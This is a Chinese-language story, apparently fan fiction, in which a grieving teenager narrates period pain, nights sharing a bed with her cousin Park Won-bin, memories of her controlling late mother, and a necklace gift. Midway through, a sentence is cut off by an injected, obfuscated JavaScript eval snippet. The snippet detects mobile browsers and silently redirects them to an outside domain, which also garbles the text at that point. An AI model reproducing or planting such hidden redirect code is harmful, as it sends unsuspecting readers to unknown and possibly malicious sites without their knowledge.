朴元彬问,你现在很疼吗? 我觉得朴元彬这种看着就面色红润的健康群体是不能与我共情的,于是悲哀地回答,对,我要死了,你快点回来。 然后就把手机放在马桶旁的洗水池台子边,静静地曲起腰肢趴在膝盖上,等候朴元彬的归来。 不知什么时候,朴元彬终于钻过了被疼痛扭曲得格外煎熬的时间的间隙,回到了家里。 我感受到她的脚步由远及近,最后停在了卫生间门外,敲了敲门,迟疑地问我要不要让我自个儿出来拿。 我也是服了,朴元彬是觉得我会穿门术还是手足够长?她真是对自家卫生间的面积没有清晰的认知。 我本想扯着嗓子大喊让她自己进来,结果高估了我的体力,细微的嗓音最后还是不情不愿地化成了软绵绵且无力的挣扎:“你进来吧,我现在不方便动。” 朴元彬的语气即使隔着一段距离跟一层门板也能听出其中的纠结:“那我进来了?” 姐,求你了,你就不能像胖虎对小夫一样直接痛快点说我要进来了吗? 大概是get到我的沉默约等于默许,朴元彬慢慢打开门,发出的沉闷的响声跟我的经痛一样断断续续的。 彼时疼痛的泪水糊了我满脸,所以我也看不清朴元彬此时的神色,跟个八百度高度近视人群似的只能捕捉到朦胧的身形轮廓,她的人影逐渐逼近。 我看到朴元彬一直侧着脸不与我对视,把手上的黑色塑料袋径直递给了我。 袋子打了个利落的蝴蝶结,我艰难地解开,结果发现里面孤零零地只躺了几包日用卫生巾。别说安睡裤了,连夜用加长版卫生巾都没有。 我感到无语:“你是没来过生理期吗?怎么只有日用的?” 其实我能意识到我的语气多少有点难听,而且说真的她本就没有帮我代购的义务。没办法,我也没精力向朴元彬挽尊解释了,反正都是女性,她估计能体谅我在特殊时期,所以脾气这么暴躁。 果不其然,朴元彬立即诚恳道歉:“对不起。” 我狠狠地抹了把眼泪,视线所及之处才跟戴上了合适的眼镜似的终于清楚了起来。看清朴元彬那张漂亮无辜的脸蛋后,我莫名消了点气:“……算了,没关系,吃完晚饭我自己出去买吧。但是还有最后一件事要麻烦你,可以再帮我去卧室的床头抽屉柜里拿件干净的底裤吗?” “…………”朴元彬陷入了诡异的沉默。 我才管不着那么多,“求你了。我不想再跑一趟了。”尤其是一想到我还要字面意义上的冷脸洗内裤就崩溃。 最终朴元彬还是向邪恶势力妥协:“好。” 这还是我第一次看朴元彬这么安静。 虽然朴元彬平常也会任由我乱来,但我能感觉到那种平静更像是对后辈的包容,而此时此刻的平静则倾向于被折腾得没招了,最后从那副躯壳里被榨出可怜的死意。 我的房间收拾得还是不错的,至少衣物都有整整齐齐地归类——这又要“感谢”母亲对我在家务一事上的耳提面命。所以朴元彬找得很快。 朴元彬把新的帖身衣物递给我就走人了,我也没计较她今天格外的沉默寡言是不是嫌我烦了,因为不管是多么圣洁美丽的阿芙洛狄忒此时在我心里的份量都没有短短一周的生理期重。 *阿芙洛狄忒=希腊神话中的美神 我换好衣服,把脏的底裤泡在属于自己的水盆里。 因为担心弄脏大家公用的肥皂,我只用指甲盖抠下来皂体的小小一角,涂抹在深色的地方,这样等到下午那块血迹就会自动泡开了。 处理完一切,我糟糕的心情才勉强由阴转晴——尤其是刚出卫生间,朴元彬就自动把煮好的温开水和止疼药一起递给我。我的心情指数因此堪堪恢复到了非负数。 我朝朴元彬道谢,然后迅速服下。 结果事实是我又高估了我的体质,因为直到晚上我都浑身发疼。 几乎每次来生理期,我都要借止疼药才能平缓地度过,后果就是我的身躯已然产生了强烈的抗药性,吃药都不管用了。但是没办法,不吃会更疼。 深夜,我满头大汗地躺在床上,辗转难眠。 夏日的闷热像劣质口红似的黏答答地化开,干燥的空气被吸进鼻腔又吐出时只会将其加工得更为灼热,然而重点来了——我不能开空调!因为开空调又有点冷了,会让我的生理痛更为剧烈。 我在热死和疼死间想来想去,最终还是忍痛割恨选择了前者。 不知道在转了第几次身后,我彻底放弃了凭个人意志克服经痛坦然入眠的想法,仿佛搁浅的鱼躺平翻身,把贴了暖贴的小腹面对天花板——晚上我换了安睡裤,外面还套了一件遮住了大腿的短款睡裤,所以睡姿才敢这么为所欲为。 我在黑夜中仰视高高的天花板,想了想,几乎没有太多犹豫地就决定了一个大胆的行为。 两三分钟后,收拾迅速的我抱着自己的床上用品——以及谨慎起见、又特地再拿了张防渗透的毛巾——这才做贼一样偷偷敲响了朴元彬的房门。 朴元彬这个点果然没睡。在我敲门后的没几秒,她就打开了门。 我先发制人:“我睡不着。可以和你一起睡吗?” 黑漆漆的过道里,披头散发的我微微仰头望向对方,眼睛一眨不眨地紧紧盯着她瞧。 这两天因为痛经没睡好,精神状况肉眼可见地差劲,估计在朴元彬的视角看像一条半夜上门索命的女鬼。 我觉得朴元彬应该是存在那么短暂的一瞬产生了微弱的动摇,但最终作了一番无谓的挣扎,还是把我放进来了。 我就说我敢肯定她拒绝不了我吧。 因为我对朴元彬的此种举止及背后的心理活动很熟悉。我的母亲也曾这么对待过我,那时候我就是现在的朴元彬。 ——无论我多么抵触她对我的占有和掌控,母亲总能钻到空档,敏锐地捕捉到我藏在心底最深处的、微不足道的一抹迟疑。 然后剖开我的心房拼了命地欲要往里扒,将那点儿对她的怜悯得寸进尺地放大再放大。 连我本人都摸不准自己究竟是如何看待她的,当然也不会再有机会理清纷乱的心绪,因为在摸清之前,我已经稀里糊涂地被迫批允了她对我私人空间的入侵。 我大大方方进了朴元彬的卧室,她帮我把门带上,我一边看着她把袖管撸到小臂处露出的蜜色的皮肤,一边存着最后一丝良心安慰她:“放心吧,不会漏到你床上和身上的。” 我给她看我专门携上的垫着的毛巾,安睡裤外面还套了个短睡裤。 朴元彬没说话,不知道有没有相信我的说辞。 但她估计不是在担心会不会漏的这层最肤浅的问题,而是对我半夜三更又蹿到她的房间里要和她一起睡觉的无奈。 我躺在朴元彬的床上,她直接关了灯,侧卧在另一边,然后忽然想起什么似的,又爬起来扒拉来空调板,将空调温度调高了一点,随后放在靠近我的那侧床头,对我说,要是半夜感觉冷了,可以自己调温度。 我闷声说好,然后把被子拉得高高的,盖住我的小腹,一直拉到我的鼻腔下方。 我觉得我有点像卷寿司中被海苔包在里边的米饭,更像一条缩在茧里的毛毛虫,到了后半夜就因为燥热忍不住一点一点地从卷起的被子里探出。 空调温度打得不低,可到了凌晨我还是被疼醒,醒来后也没有按照朴元彬叮嘱的关掉空调,因为这无关外界的温度,只是我个人单纯的由内而外的疼,血淋淋的肉壁自内部脱落的过程简直要了我的命。 我翻来覆去,实在忍不住了,把头埋在被子里无声地哭,结果发现我的这辈子不仅很短,这被子也很短,要是当止泪巾用就盖不住肚子了。 于是我毅然选择把朴元彬拉过来当我的工具人,疼得满头大汗地从背后紧紧抱住她。 没有具有爱欲色彩的索求,也没有羞涩忸怩的犹豫,单纯是我想抱住朴元彬,仅此而已。 但我觉得还不够。黑夜里我摸索着坐起身,被子顺着动作弧度落下,仿佛宫腔内剥落的肉膜。 我低下头,长得长了一点儿的发尾扫过朴元彬蓬松的中长发,几缕细长的发丝见缝插针地钻入其中。 我静静地俯视朴元彬,发现她的睡姿也不是很端正:朴元彬会把被子一股脑儿闷在头上,隐约就露出点儿头发,并且喜欢蜷缩着身子,恍如尚还缩在子宫中的胎儿。 以前的我也喜欢这么睡,然后每次都会被半夜醒来的母亲强制性纠正,说这对体态不好。 我逐渐回忆母亲的一举一动,照葫芦画瓢般地拨开层层叠叠堆在朴元彬身上的被子,好似在耐心地舔舐新生的羔羊身上的羊水,然而在动手的那一刻,朴元彬就惊醒了。 朴元彬的睡眠质量并不比我好。她曾和我说过她是尖耳朵,因此有什么动静总是会立刻被吵醒。 但估计最近也是被我折腾惯了,直到我触碰到朴元彬的脸颊的时候,她才后知后觉地睁开双眼。 朴元彬的声音听起来还残留着疲倦与困意,“怎么了?太冷了吗?” 她的声音低哑、朦胧,像是属于男生的音色。 我可管不着那么多,抓着朴元彬的领口就往下埋。 我能感觉到朴元彬因我突如其来的动作吓得一个激灵,她瞬间清醒,身体产生条件性反射保护机制地要阻拦我的亲近,其体现就在那双手迅速又倔强地抵住了我的肩头,最后我们在仅隔几厘米的距离堪堪停下。 朴元彬的眼睛在黑暗中很亮,像一只无辜的猫咪望向我。 然后,我很悲哀地发现:我的生活中已经处处沾上了母亲的影子。 我怨恨她,又不得不承认我现在想到什么都会自然而然地联想起她。 我想到小学的时候,我养了一只猫,是最普通的橘猫:柔软、慵懒,脑袋上橘黄的毛色穿过脊背一直连到尾巴,像一条细长的蛇。 但是母亲讨厌猫,她总觉得掉毛的动物打理起来很麻烦,从此以后家里总是飘逸着猫的毛发。 后来在很寻常的某天,我放学回家,母亲如释重负地告诉我猫不见了:早上她惯例地要开窗通风,结果忘记开纱窗了,猫就顺着窗口跑了出去。 我至今都不知道到底是不是猫自己跑出去的,也不知道母亲是不是真的是不小心。 我只记得当时我难过了好久,母亲倒是很豁达,反过来给我上了一课:都告诉了你不要养小动物了!你现在要上学,白天动物的吃喝拉撒全是我负责,你倒好,玩得开心就这么过去了。所以你要知道,没有责任心就不要养宠物。 我不知道。我听不进去。我听不懂。 那时候的我太小了,母亲或好或坏的教诲左耳朵进右耳朵出,只记得最直观的、带给幼小的孩童最直观且最具有冲击力的感受:我不想再有喜欢的东西离开我了。 所以我扒开朴元彬搭在我肩上的手,用力地攥着她的手指头,与其十指相扣后强制地掰到她的身后。 我知道朴元彬力气比我大很多,完全可以挣脱我的力道,就连那双手也比我大了整整一圈,手背上隐忍地青筋突起。但她没有挣开。 我因朴元彬的顺从产生了微妙的满足感。我陷入了一种痛苦与快乐交杂的情绪。 我恨我成为了讨厌的人的模样,又喜悦于向来被压制的我终于有朝一日可以反压他人。 别扭的姿势致使我看不清朴元彬的神色。我只知道朴元彬任由我按着她的掌心几秒后就反握住我的手,我姗姗来迟地感到不安:她要挣脱我吗?她会因此讨厌我吗? 我预想中的场景一幕都未上演。 朴元彬把宽厚的掌覆在了我的小腹处,再往上是子宫所在的位置。肌肤下滚动的灼热的痛随着她的抚摸蔓延。 ——我迎来青春期的时候,正值韩国女性们游行争取权利的火热期,学校因此开设了性教育课程。 专程聘请而来的老师认真、温柔地对每个女孩子说:来月经是很正常的事,代表着你们成长了。激素在你们的体内生长,这是只有女性才拥有的力量。 我非常感恩这位优秀的老师能让我们直视女孩子身体的变幻,但直到现在我依旧止不住思考:为什么轮到我的“成长”就伴随莫大的痛楚? 其他同性迎接初潮时都仿佛鲤鱼跃龙门,不痛不痒地就进化到身体的下一个阶段。 唯独我像是那只搁浅的鲤鱼,无力地挣扎,在打算彻底躺平之际体内还不准许我安详,又有一辆大卡车轰隆隆驶过,把我的躯体磨得血腥淋漓。 凭什么只有我的成长这么暴力且生猛呢? 这么说出来或许会被某些群体审判,但是,我就要竭尽全力地向所有人喊道:如果仅仅是成长就这么痛苦的话,我宁愿不要长大。 于是我逃避成长般地低下了头。像是一团重回母亲宫腔内的幼儿,凭着扭曲的姿势缩在朴元彬的身前。 她脖颈处挂着的星星项链也被我抓在手里,权当连接与母体的脐带。 我在朴元彬的身上宣泄母亲曾教会我的,又试图自她的本身汲取未曾获得过的情感。 在某一刻,我忽然意识到一点:我不能如此依赖朴元彬。这太危险了。 我很犟,要是朴元彬会像母亲那样责骂我的为所欲为,那或许反而还有挽留之地。 偏偏她选择了纵容。相处不过一个月,我就摸穿了朴元彬的本质:她太坚强、稳定了。 朴元彬的作息很不规律,但是即使如此也能把一天要干完的所有事情都规划好:每天定期去健身房健身、在看起来像行程表的表格上圈画着什么、最后再在手机上不知道是在和谁定期进行一段时间的聊天。 对于我的得寸进尺,朴元彬只是平稳地站在那里,任由我一遍遍倔强地撞击,如此以来我们最终结局只能是两败俱伤亦或者粉身碎骨。 算了,那又如何。 我想,朴元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340663|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彬比我懂分寸了多,所以她肯定会在某个濒临崩溃的边界点就懂规矩地自动停下的,用不着我特地顾及她的感受。 因此我心安理得地靠在朴元彬的胸膛前,倾听她心跳的声音。 咚、咚。随着微弱的呼吸声,对方胸前平缓地起伏。属于朴元彬的温热的鼻息喷洒在我的发顶。 我的心情慢慢平静下来,开始找别的来转移注意力。比如,我突然发现朴元彬身体的触感似乎与我的不太一样。我总觉得她的胸脯不是很饱满,那隆起的线条更像是肌肉撑起的弧度。 不过我不觉得女孩子有肌肉是什么奇怪的事情,以前班里有些肥胖的男同学由脂肪堆起来的胸比我还大呢。 由朴元彬的心跳声编织奏鸣的摇篮曲渐渐哄我拥入梦乡。 又过了几天,我的生理期终于大发慈悲地放过了我,潇洒离去。 生理期结束后,我没有再烦朴元彬陪我一起睡觉,于是我们维持了一段时间的仿佛贤者时间的、平静的相处模式。 结果,在毫无征兆的某天中午,朴元彬迅速解决完她的那份连沙拉酱都没淋的蔬菜碗,对我说道:“下午,我们去商业街逛逛吧。” 姨妈姨父当然是很赞成我多出去走走,我也很无所谓,因此就这么一拍即合。 我回到卧室,随便翻了件白T跟长裤就OK了,结果去找朴元彬的时候她还没收拾好。 我倒是觉得很正常,毕竟那么精致的女孩子肯定要认真打理一番。 我毫不客气地一屁股坐在马桶盖上,望向正往脸上涂抹护肤品的朴元彬:为了防止清水沾湿额发,她拿了个天蓝色发箍把发丝都往上薅,露出光洁的额头——天呐,朴元彬是怎么做到每天熬夜还不长痘痘的? 朴元彬今天搭了件卫衣和牛仔裤,同样很简约,但不知怎地看上去就比我潮很多。 事实证明也确实如此。我们走在街上,总能感觉到有几个人对着我们窃窃私语,还有的拿起手机拍照,甚至还有外国人都在拍——现在为了防止偷拍事件,日韩的手机都无法关掉拍照发出的快门声,但这些人拍照的时候没有一点儿声响,所以我推测这些估计是来自别的国家的人。 我自知本人比不上朴元彬,但出乎意料地也不因此挫败。 她每天花那么长时间护肤节食健身,有这个毅力做什么都会成功的,能走到这个地步也是她应得的。 到了最后,先按捺不住的反而是朴元彬。 我们在一处需要消费入座的咖啡厅停下,她迫不及待地带我走了进去,借此躲避外边的人炽热如高阳的目光。 这里的招牌是韩国人最不离手的冰美式,偏偏我不爱喝,于是朴元彬点了双份混合果汁套餐,她的那份特地备注了少糖。 几乎是刚落座,就又有人来搭讪了。 对方不像本地人,操着磕磕绊绊的韩语,眼睛亮晶晶地搭话:“是元彬吗?” 这人怎么还知道朴元彬的名字,难不成是以前的同学?蔚山未免太小了吧。 在生人面前完全切换成社恐模式的我默默低下头,捏着白色的吸管啜饮果汁。 我的余光看见朴元彬点点头,紧接着对方就立刻问道:“可以要签名吗?” 是我太久不用互联网所以错过什么新搭话潮流了吗?还是这是蔚山特色?怎么见到好看的人的搭讪方式不是要联系方式,改成要签名了? 朴元彬依旧同意,结果尴尬的是这俩人都没有带笔,于是朴元彬对我开口道:“妹妹,可以麻烦你去跟服务员借支笔吗?” 突然被cue的我冷不丁惊了一下,虽然不知道我为什么就这样水灵灵地成了play的一环,而且也不理解朴元彬这个时候为啥要突然喊我妹妹,但反正我也没事干,于是听话地去借笔了。 一分钟后,我把笔递给朴元彬,她向我道谢,随后潇洒地在那人提供的媒介上签下名字。对方激动得语无伦次,还不忘祝我玩得开心。 又坐了一会儿,见我的果汁喝完,朴元彬领着我前往今天的目的地:饰品店。 需要注意的是,这个饰品店不是街头小巷那种随意架着的、在上边摆了几串海边捡的漂亮小贝壳窜起来就成了可以卖的饰品的民间摊子,而是真金白银冶制的昂贵的正版制品。 我的嘴巴因吃惊张张合合,最后什么话语都没从中挤出来。 虽然我一直都住在一线城市首尔,但这不代表我们家真的发达了,更别说有什么闲情逸致逛饰品店。我对这玩意儿的印象还停留在结婚的时候要挑戒指才会来。 朴元彬看上去倒是镇定自若,她走上前和店员攀谈着什么。 过了一会儿,店员从某个柜台里拿出一个方方正正的小盒子,交给了朴元彬,而朴元彬毫不犹豫地转交给我。 我惊讶到甚至都没接过:“等等,这是给我的?” 朴元彬点头。 我更不可置信了。 周围已经有看热闹的人群在旁边聚集,从路人的视角估计只看到朴元彬拿了个小盒子递给我,而我满脸不可置信,整得跟啥求婚现场似的。 就算我再怎么不好意思收下,也会先一步承受不住旁边一圈滚烫的注视,因此只好从朴元彬的掌心接过。 我捻了捻份量,不是很重,“里面是什么?” “你可以现在打开,也可以回去打开。”朴元彬换了一种巧妙且委婉的回答方式。 我选择了前者。 于是朴元彬带我回到之前的咖啡厅。 我们点了一份小熊提拉米苏蛋糕,找了个隐秘的角落落座,然后我虔诚地从挎包里小心翼翼地拿出那顶盒子。 朴元彬用那双漂亮圆润的眼睛注视着我,看得我掌心都泌出了冷汗。 我也不知道我在紧张什么——这么说非常厚脸皮——但事实上我的内心深处就是在这么想:我希望盒子里边的东西廉价一点,这样我就可以心安理得地接受;可我又希望里边的东西贵一点,这样才配得上我隐秘的期待。 我掰开,看到一条金色的项链正安安静静地躺在里面。 为了方便容纳,长长的项链犹如沉眠的蛇盘了几圈。 “这个是……?”我听到自己的声音在细微地颤抖。 “项链,” 废话,我又不是瞎,是个人都能看得出来, “定制给你的。不知道你喜不喜欢,如果不喜欢的话我可以再定制一条。” 我天啊,怎么会有人这么有钱。我最讨厌有钱人了。 食指与大拇指捻起项链,我看到闪耀着明亮的光泽的链条间还有垂下的小月牙的形状。我意识到这是仿造朴元彬的星星项链制作的。 朴元彬俯下身靠近了我,这毕竟还是公共场合,所以她刻意压低音量,用着只有我们二人的声音说道:“那一天——那个晚上,你好像很喜欢这条项链。” 朴元彬把手放到自己凹陷的锁骨处,食指一勾垂在那儿的链条,把埋在衣领之下的项链完全拉了出来,顶端的五角星微微摇曳,“这是在以前、我的父母把他们的结婚戒指熔断制成的。” “我说这些不是为了什么。只是想告诉你,尹彩书,不只是我、还有我的爸爸妈妈,我们都很喜欢你——即使你是最近才加入我们的,但这并不影响。我们也希望可以尽可能地补上你之前没能获得的东西。” 无论是项链还是别的事物。 这也是我第一次知道,原来人在过度喜悦与激动的时候反而会达到另一种极点:变得格外冷静。 我感觉我已经不再是我,仿佛脱离了这具躯壳,将体内深处的灵魂解剖并呈现给对方。 我感受到自己唇瓣张合的频率,从里边蹦出几句话语,询问朴元彬:真的吗?你不会骗我? 我的母亲也对我说过相同的话语,然后她每次都食言了。 小学,母亲告诉我,考试考满分就给你买你想吃很久的香肠年糕串,结果真的做到后,她又以那家店不卫生的理由来毁约;初中,母亲宽慰我,考上首尔中心的好高中,就带你去国外旅游,结果拿到心仪的通知书后,她又以工作繁忙不便出门来搪塞;高中,某次我们吵架,母亲咒骂我,你永远别想脱离我的掌控,最后她死了。 她去世得如此匆忙,甚至来不及将她紧紧拉着丝线不让其逃脱的那抹风筝从缥缈的空中拉回,于是风筝落不到地上,漫无目的地漂泊。 那个风筝就是我,而现在朴元彬接过了线轮。 朴元彬耐心地应声,向我保证她不会欺骗我,即使有谎言那也是迫不得已,并且总有一天会向我坦诚。 我只听进去了第一句话,然后就要求朴元彬与我勾指起誓。 朴元彬同意了,我们小指交缠,她的手又长又大,比我长出一小截,唯一美中不足的是她好像有啃指甲的习惯,甲面坑坑洼洼的。 拉完勾,朴元彬替我圈上月亮项链。 我温顺地低下头,她在给我扣上链圈的时候不忘替我撩开碍事的发丝。 我望着朴元彬骨节分明又漂亮的手,扣住固定之际稍稍用力,于是埋伏在光洁的皮肤之下的脉络就像是夜光地图的路线浮现出来。 咔嚓一声,扣好了。 朴元彬在完成目的后就远离了我,身体自然地往后靠到柔软的椅垫上,那萦绕身周的淡淡的精油香也顺其自然地从我的鼻腔处逃离。 有短暂的片刻,我萌生出一个危险的想法:朴元彬给我戴上不是项链,而是在未来会越收越紧的项圈。 又过了几天——那是很普通的一天,我正在朴元彬的卧室里看书。 她的卧室里打光很好,正午时分不会太热也不会太冷,暖洋洋的曛光透过玻璃窗争先恐后地涌进来。 我懒洋洋地翻了一页书页,然而,翻动书本的响声宛如是一道清晰明了的分界线,就在我翻过去的时候,朴元彬突然开口说:“后天,我要回去工作了。” 3. 我与将太郎与初识 朴元彬可能不知道:她简直就是本行走的翻开的书。 她心思不重,平常有种被生活磨平了棱角的钝感,但一有什么情绪起伏就摆明了写在脸上。 我背对着朴元彬。 原本听她的话语还听不出什么端倪,但是在我放下书转过身后,朴元彬那显而易见流露出踌躇的神色映入眼帘。 大概是我没有第一时间回应朴元彬、导致她有些不明的忐忑,她又补充道:“我的工作有点……特殊。需要在外地待很久,而且可能要隔很长一段时间才能回来。” 说话的时候,朴元彬的余光自以为很隐秘地打量我的眼色。 我装作没发现,任由她掩耳盗铃似的观察。 我知道朴元彬在顾及什么,毕竟我也起码有点清晰的自我认知,她无非就是担心我过度依赖她的雏鸟情结——现在在朴家,只有和她相处之际我才最放得开且轻松自然。 后天,等朴元彬离开后,说不定一切又都恢复原样了。 也不知道朴元彬把我想象成了什么一击就破的玻璃心(好吧,我承认,我潜意识回避了反省是否是自己的原因,才带给了她这种印象),但我要是真的那么脆弱,早在母亲第一次压迫我的时候就承受不住,然后果断选择投胎下一世到一个幸福美满的家庭了。 ——这么举例有点过了头,不过总而言之,我的意思是我还是能拎得清朴元彬分配给我的私人时间与生活中更占大头的工作的边界的,顶多是留给我们的时间太短了,我不是很能一下子就适应。 于是我表现得心平气和:“具体是什么时候回来呢?” 我没觉察到我的语气已经不知不觉染上了母亲的色彩。 很久以前,每当我每次说要出门,母亲也是平静地问我,你要去哪里?你什么时候回来? 其实她问了也没什么意义,改变不了我要出门的事实,但她就是要问,如果我不乖乖回答,她还会生气。 就像饭馆里的免费餐巾纸,可能用不着,但不能没有。 朴元彬认真地思考了几秒我的问题,“不确定。可能还会随时加行程。” 好神经的公司。朴元彬不会是被拐进了哪个神秘诈骗组织了吧? “你工作的地方在哪里?”我又问。 朴元彬没有立刻回答。过了几秒,她才开口道:“……在首尔。” 这回轮到我不说话了。 我理解了朴元彬的难以启齿:首尔这个词对我而言太特殊。我拥有的记忆的起点不在出生地蔚山,反之在这个素未谋面的城市。 孩童自母胎诞下来便被世俗强制要求的母爱在这里孕育萌芽,与此同时真情实意的恨意也在这里滔天翻滚。 从此我对这个城市的印象不再是故乡的首都、也不是外国人来旅游时首先放在一位光临地点的现代化都市,而是带给我痛苦的避风港。 但是,越是因为抵触,我越是能将私人情感划分开来:我非常能理解许多人要前往首尔工作的原因。 无非和我的母亲一样,惦记那里是国际一线城市,压力大的同时不可否认拥有更高水平的时薪。 如果能有机会,百分之六七十的人都会选择去首尔打工,我想朴元彬也不意外。 甚至我的高中学籍还停留在首尔,原本姨妈问过我要不要转到蔚山来读,我想了想还是拒绝了。 高三本就学业压力大,要是转入新环境后还要被迫适应一段时间,到时候更麻烦。至于通勤问题,大不了申请住宿就行了。 所以,我并未多言,反而看得比朴元彬还要开:“好,注意身体。” 结果朴元彬别别扭扭的,好像还有话想向我坦白。 她以平均五分钟看我一眼的频率,持续了这个动作至少一小时。我连手上的书都看完快两章了,最后朴元彬依旧愣是什么话都没从嘴里蹦出来。 虽然我很好奇,但要是朴元彬不主动开口,我就不会刨根问底。 就像我们第一次拉近关系的那个夜晚一样——朴元彬困惑我怎么忽然跌倒在走廊、而后又固执地要与她同床共枕,可我如果不先提及,她也不会不识眼色地多问。 这种微妙的气氛一直持续到了晚上。 朴家的生活模式与其他家并无差异,大家用完餐后就各干己事,不过今晚是个例外。 或许是姨妈姨父也知道了朴元彬马上要走了,打算再在最后小聚一下。吃完晚饭,姨妈切了芒果、油桃跟猕猴桃当作餐后水果,我们挤在沙发上,给他们家的长子打电话。 本来一家子的寒暄不应该带上我这个外人的,可姨妈热情地表示没关系,正好我跟朴兄还没见过面,可以借此机会认识认识。 全程基本上都是姨妈姨父在关心他能不能适应成均馆的环境,到最后,朴兄忽然语锋一转,cue起朴元彬,说等她回首尔后,要是能凑巧都挤出时间,他俩还可以聚一聚。 我默默听着两个人聊天,用叉子戳了一口油桃片。口感是脆的,不塞牙,甜得恰到好处。 我忍不住又叉了一片,咽下后就放下叉子,没好意思再吃,想着要给其他人也留几块。 朴元彬坐在我的旁边,她正和哥哥谈到从公司到成均馆坐车要多远,结果注意到我的动作,面不改色地在手机屏幕外默默伸手主动给我叉了一块。 他们没聊多久,最后把镜头给了我。 我下意识挺直腰板、并拢双腿,拘谨地向朴兄问好。 他的眉眼与朴元彬有几分相似,剪着男生最常见的短发,一看就是老师最喜欢的那种三好学生。 我们之间其实没有多少共同话题,他还拿出了前辈与在上学的后辈聊天时最常见且一针见血的话题,问我是不是要升高三了,有没有想好大学去哪里上。 幸好他碰上我这么个碰巧早就准备过这个问题的答案的人。我老实地回答:想去成均馆。 别误会,这并非是看着对方在哪个大学才对症下药给出的答案,而是我确实有这个打算。 我的成绩一直平稳地维持在中流,偶尔还会考进前几,高三要是再冲刺一下还是有机会的。 以及还有一个最致命的原因:我的母亲早就为我规划好了大学去成均馆念书的目标。早在上初中的时候,她就在谋划我六年后的去路了。 母亲义无反顾地选择移居首尔,不仅是因为仰慕荣华富贵,还有就是我的学业原因。 我一直嚷嚷想脱离母亲的掌控,也对首尔这个词产生了轻微的PTSD。可不能否认,这条早就被铺设好的路线是倾注了一番心血并且最适合我的。 朴兄没有质疑我的真心,他温和地点了点头,然后鼓励我一定能考上的,到时候还可以来当他的学妹,多个照应也好。 他还补充道,有什么不会的问题随时来问他——正好趁着刚入学的清澈大学生对新生活正怀抱一腔热血、而且还没有忘记高中的知识。 我应声,心里却无端联想那天为我解答题目的taro哥。 聊完后,我们就挂了电话,各自回房间干自己的事。 当晚,我洗漱完躺在床上,好不容易难得地不靠外界、而是凭借自身意志产生了困意。 结果就在安详地闭上双眼的时候,房门被敲响。 起初我还以为是困出幻听了,打算翻个身两眼一闭继续睡,然而那阵敲门声坚持不懈,跟蚊子似的嗡嗡嗡吵个不停。 我认命地坐起身下了床,拖鞋都没穿就去开门。 出乎意料地,站在外面的是朴元彬。 我有些小惊讶。虽然我硬是挤进她房间请求陪睡的次数不少,但她主动来找我还是头一次。 我第一反应是低头看向朴元彬的手,她没带任何床具,空落落的。 我犹豫着说:“其实我们睡姿都不咋地,所以你最好不要和我盖一张被子。” 朴元彬无语:“我当然知道,你能把两张被子都卷到自己的身上。” 好吧,怪不得有几个晚上我总感觉空调功效不太行,怎么还是那么热,原来是我把朴元彬那份的被子一并抢走了。 接着朴元彬继续说:“我就是想来跟你说几句话,说完就走。” 听到这话,我才抬起头,打量起朴元彬。 显然朴元彬不是在床上躺了一会儿后才突然爬起来找我的,因为她身上不存在我特有的惺忪松弛感,反之神采奕奕、穿戴整齐。 她偏美型的眉眼此时在黑暗里显得略有锋利,不笑的时候也变得严肃了许多——不过我自然地忽略了这点,把她请进了我的房间。 我的卧室比朴元彬的要小一些,毕竟本来谁都没料到家里会天降不速之客,也没想过要特地多准备一间房间。 最后,我只好让朴元彬坐在我的床边,我则是毫不客气地继续躺回温暖的被窝。 朴元彬看起来些许拘束,她没有完全面向我,而是侧坐着,那双大长腿未免有点无处可放。 我缩在被体温人工捂热的被子里,与此同时空调的冷气还呼呼地吹拂过我的发丝,我差点被吹得睡着,强撑着睡意等朴元彬坦白来意。 真是奇怪,以前都不知道朴元彬原来是这么磨磨唧唧的人。 “——你觉得哥哥怎么样?”在我忍不住合上双眼之时,朴元彬终于开口了。 真服了,突然造访又呆坐那么久,就为了专程问这么没营养的问题? 难不成朴元彬和她的哥哥的关系其实不太好?看不出来啊,视频通话的时候看着就是很正常的相处模式。 不过我还是如实回答:“人挺好的,很热情,”因为困意的侵蚀,我一时收不住嘴,想到什么就说什么,因此忍不住又反问,“怎么突然问这个?你和他关系很差?” 因为我很日常问题,朴元彬反倒放松了一点,流畅地接过我的话头,顺着往下说。 朴元彬跟我说才不是,他们小时候在一起简直玩疯了,其中最常玩的就是角色扮演游戏。 那时候晨间剧《海女》从日本流入韩国,于是二人试图照葫芦画瓢,朴兄说要演渔夫,让朴元彬演鱼,然后她就傻乎乎地趴在地上扑腾,地板上没擦干净的灰把睡衣都弄脏了,遭了妈妈一顿骂。 我听完后忍俊不禁,愣是把睡意都笑没了。 我想象不出和蔼的姨妈训人的模样,更想象不出朴元彬做出这么傻的行为的样子。 结果朴元彬也只是笑笑,坦诚地说,有什么想不出来的?她以前还是个成日戴眼镜的小土包子呢。 她对于自身降级般的描述令我更难以幻想了,我觉得这人有点太谦虚了。 我抬起眼皮,望向朴元彬精致的眉眼,企图转动生锈的脑子把幻想中的小土包子时期代入进去:朴元彬的五官在昏暗中仿佛模棱了性别的界限,雌雄难辨。 我放弃了。完全想不到朴元彬当小土包子会是什么样。 而我最先注意到的是那掩藏在额发下的眉毛某处,新的发现顿时致使我困意消散,但我又懒得坐起来,于是干脆抬起手臂,食指勾起盘旋在朴元彬脖颈处的星星项链,半强迫性质地把她往下拽:“你过来一点,我有悄悄话跟你讲。” 其实并非如此,只是我想找个借口让朴元彬主动靠近我而已。 果不其然,朴元彬听话地俯下身子,结果因为我拽的力道有点大,两者动作顺势一结合,加之没能来得及缓冲,一时她差点跌倒在我身上。 幸好在关键时刻朴元彬眼疾手快,她赶紧又抬着双臂,架在我身子的两侧,才堪堪维持住平衡。 如果用通俗点的话来描述这个场景,那就是狗血少女漫里必备的超经意被壁咚的环节,不过区别是我们的尺度好像有点大,直接从墙壁晋升到了床。 